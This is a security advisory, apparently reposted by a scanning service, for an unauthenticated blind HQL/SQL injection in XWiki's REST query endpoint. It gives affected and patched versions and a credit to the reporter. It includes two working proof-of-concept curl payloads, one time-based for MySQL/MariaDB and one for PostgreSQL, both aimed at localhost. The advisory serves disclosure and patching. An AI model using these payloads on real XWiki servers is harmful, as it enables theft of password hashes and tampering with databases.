| Package | Affected versions | Patched versions |
|---|---|---|
| org.xwiki.platform:xwiki-platform-rest-server | ≥ 1.8, < 15.10.16≥ 16.0.0-rc-1, < 16.4.6≥ 16.5.0-rc-1, < 16.10.1 | 15.10.1616.4.616.10.1 |
| xwiki | ≥ 1.8, < 15.10.16≥ 16.0.0, < 16.4.6≥ 16.5.0, < 16.10.1 | 15.10.1616.4.616.10.1 |
It is possible for a remote unauthenticated user to escape from the HQL execution context and perform a blind SQL injection to execute arbitrary SQL statements on the database backend, including when "Prevent unregistered users from viewing pages, regardless of the page rights" and "Prevent unregistered users from editing pages, regardless of the page rights" options are enabled.
Depending on the used database backend, the attacker may be able to not only obtain confidential information such as password hashes from the database, but also execute UPDATE/INSERT/DELETE queries.
The vulnerability may be tested in a default installation of XWIki Standard Flavor, including using the official Docker containers.
An example query, which leads to SQL injection with MySQL/MariaDB backend is shown below:
time curl "http://127.0.0.1:8080/rest/wikis/xwiki/query?q=where%20doc.name=length('a')*org.apache.logging.log4j.util.Chars.SPACE%20or%201%3C%3E%271%5C%27%27%20union%20select%201,2,3,sleep(10)%20%23%27&type=hql&distinct=0"
When executed, the response from the server will come after a delay of 10 extra seconds, indicating successful execution of the injected SQL statement.
An example of a query for the PostgreSQL database backend is shown below:
curl "https://127.0.0.1:8080/rest/wikis/xwiki/query?q=where%20%24%24='%24%24=concat(%20chr(%2061%20),(chr(%2039%20))%20)%20;select%201%20--%20comment'&type=hql&distinct=0"
Both requests employ database backend dependent techniques of breaking out of HQL query context, described, for example, here: https://www.sonarsource.com/blog/exploiting-hibernate-injections.
This has been patched in 16.10.1, 16.4.6 and 15.10.16.
There is no known workaround, other than upgrading XWiki.
https://jira.xwiki.org/browse/XWIKI-22691
If you have any questions or comments about this advisory:
Sergey Anufrienko from Kaspersky ICS-CERT vulnerability research team reported this vulnerability.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free